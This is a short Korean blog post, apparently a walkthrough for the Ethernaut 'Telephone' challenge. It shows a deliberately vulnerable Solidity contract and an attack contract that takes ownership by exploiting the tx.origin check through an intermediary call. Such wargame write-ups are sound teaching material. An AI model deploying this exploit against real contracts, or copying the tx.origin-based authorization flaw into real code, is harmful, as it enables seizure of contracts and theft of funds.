소스코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
목표
ownership 탈취
방법
리믹스 IDE에서 다음과 같이 코드 작성 후 배포, 실행
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Telephone.sol";
contract TelephoneAttack {
address public owner;
Telephone telephone;
constructor (address _addr) public {
owner = msg.sender;
telephone = Telephone(_addr);
}
function transfer() public {
telephone.changeOwner(owner);
}
}
'블록체인 > Ethernaut' 카테고리의 다른 글
[Ethernaut] 6. Delegation (0) | 2022.05.30 |
---|---|
[Ethernaut] 5. Token (0) | 2022.05.28 |
[Ethernaut] 3. Coin Flip (0) | 2022.05.25 |
[Ethernaut] 2. Fallout (0) | 2022.05.24 |
[Ethernaut] 1. Fallback (0) | 2022.05.09 |